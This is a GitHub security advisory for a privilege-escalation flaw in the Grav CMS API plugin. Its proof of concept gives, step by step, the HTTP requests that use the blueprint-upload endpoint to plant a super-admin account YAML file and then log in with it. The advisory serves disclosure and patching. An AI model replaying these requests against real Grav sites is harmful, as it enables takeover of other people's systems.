GitHub Advisoryadvisory · Packagist

GHSA-6xx2-m8wv-756h Low-privileged Grav API users can create super-admin accounts via blueprint-upload

HIGH Published 2026-05-06 Modified 2026-05-13 Official page ↗
Aliases
CVE-2026-42844
Ecosystem
Packagist
Packages
getgrav/grav
Severity
High
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Weaknesses
CWE-269, CWE-434
Reviewed
2026-05-06

Affected packages

• Packagist getgrav/grav: < 2.0.0-beta.4 → fixed in 2.0.0-beta.4

Description

Summary In Grav `2.0.0-beta.2`, a low-privileged authenticated API user with `api.media.write` can abuse `/api/v1/blueprint-upload` to write an arbitrary YAML file into `user/accounts/`, then log in as the newly created account with `api.super` privileges. This results in full administrative compromise of the Grav API. Details The vulnerability is located in the API plugin's blueprint upload flow: • `user/plugins/api/classes/Api/ApiRouter.php:261` • `user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:32-45` • `user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:102-114` • `user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:271-308` • `user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:407-417` • `user/plugins/api/classes/Api/Controllers/AuthController.php:41-55` The issue exists because `/api/v1/blueprint-upload` accepts caller-controlled `destination` and `scope` values and uses them to resolve the final filesystem write target. When the request uses: • `destination=self@:` • `scope=users/anything` The server resolves the write target to the shared account directory: ```text user/accounts/ ``` The upload handler then writes the supplied file directly into that directory and does not block YAML account files. Because Grav accepts account YAML files and supports a plaintext `password:` field on first login, an attacker can create a fully functional administrator account with `api.super`. The required attacker privilege is low: ```yaml access: api: access: true media: write: true ``` PoC Step 1: Authenticate as the low-privileged API user ```http POST /api/v1/auth/token HTTP/1.1 Host: 127.0.0.1:8123 Content-Type: application/json Connection: close {"username":"uploader","password":"Upload123A"} ``` Extract: ```text UPLOADER_TOKEN = ``` Attachment: Step 2: Upload a malicious account YAML file ```http POST /api/v1/blueprint-upload HTTP/1.1 Host: 127.0.0.1:8123 X-API-Token: Content-Type: multipart/form-data; boundary=----CodexBoundaryF01 Connection: close ------CodexBoundaryF01 Content-Disposition: form-data; name="destination" self@: ------CodexBoundaryF01 Content-Disposition: form-data; name="scope" users/anything ------CodexBoundaryF01 Content-Disposition: form-data; name="file"; filename="pwned.yaml" Content-Type: text/yaml email: [email protected] fullname: attacker title: Site Administrator state: enabled password: Passw0rd!123 access: site: login: true api: super: true ------CodexBoundaryF01-- ``` Expected result: ```json { "data": [ { "name": "pwned.yaml", "path": "user/accounts/pwned.yaml" } ] } ``` Attachment: Step 3: Log in as the newly created account ```http POST /api/v1/auth/token HTTP/1.1 Host: 127.0.0.1:8123 Content-Type: application/json Connection: close {"username":"pwned","password":"Passw0rd!123"} ``` Expected result: ```json { "data": { "user": { "username": "pwned", "super_admin": true } } } ``` Attachment: Step 4: Verify privileged API access ```http GET /api/v1/system/info HTTP/1.1 Host: 127.0.0.1:8123 X-API-Token: Connection: close ``` Expected result: The request succeeds and returns system-level information. Attachment: Impact This is an authenticated vertical privilege-escalation vulnerability. Any API user with basic media upload capability can escalate directly to a full API super administrator by planting a new account YAML file. Once `api.super` access is obtained, the attacker gains full control over the CMS management API and can: • modify content • alter configuration • manage users • install or update plugins/themes • access system-level administration features In a real deployment, this level of control is sufficient for complete CMS compromise and may be chained into server-side code execution depending on enabled plugins, writable template paths, or package-management workflow. This issue was reproduced locally: • the upload response returned `user/accounts/pwned.yaml` • logging in as `pwned` succeeded • the new account had `super_admin = true` • privileged endpoints such as `/api/v1/system/info` were accessible

Related

Alias · CVE (1)

Weakness · CWE (2)

  • CWE-269 Improper Privilege Management weakness
  • CWE-434 Unrestricted Upload of File with Dangerous Type weakness

References